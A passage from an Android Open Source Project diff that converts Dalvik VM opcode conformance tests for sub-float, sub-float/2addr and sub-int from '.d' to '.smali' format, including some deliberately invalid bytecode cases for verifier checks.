-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_1.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali
new file mode 100644
index 0000000..3b55c2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_1.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.d
deleted file mode 100644
index c144976..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 5
-
-       move v2, v3
-       const-wide v3, 3.1415
-       sub-float v0, v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali
new file mode 100644
index 0000000..8fef2d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 3.1415
+       sub-float v0, v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.d
deleted file mode 100644
index 0456de2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_3.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 5
-
-       move v2, v3
-       const-wide v3, 9475928
-       sub-float v0, v3, v2
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali
new file mode 100644
index 0000000..9d82bc0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_3.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 9475928
+       sub-float v0, v3, v2
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.d
deleted file mode 100644
index 1c73e66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_4.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali
new file mode 100644
index 0000000..13a3b87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_4.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.d
deleted file mode 100644
index c851a5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_5.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 4
-
-       sub-float v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali
new file mode 100644
index 0000000..f2403c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_5.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+
+       sub-float v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.d
deleted file mode 100644
index c069f2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_6.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali
new file mode 100644
index 0000000..e596c15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_6.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.d
deleted file mode 100644
index d1c6e61..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_1.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali
new file mode 100644
index 0000000..09bc087
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.d
deleted file mode 100644
index 3f3b632..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_2.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 5
-
-       move v2, v3
-       const-wide v3, 3.1415
-       sub-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali
new file mode 100644
index 0000000..84ab5c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 3.1415
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.d
deleted file mode 100644
index 5a5f610..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_3.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 5
-
-       move v2, v3
-       const-wide v3, 9475928
-       sub-float/2addr v3, v2
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali
new file mode 100644
index 0000000..3fbcbc0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 9475928
+       sub-float/2addr v3, v2
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.d
deleted file mode 100644
index f60a149..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_4.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float/2addr v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali
new file mode 100644
index 0000000..528058c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.d
deleted file mode 100644
index 561ed3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_5.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 4
-
-       sub-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali
new file mode 100644
index 0000000..98189d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.d
deleted file mode 100644
index 8d94709..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_6.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali
new file mode 100644
index 0000000..83c0fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.d
deleted file mode 100644
index 019f739..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
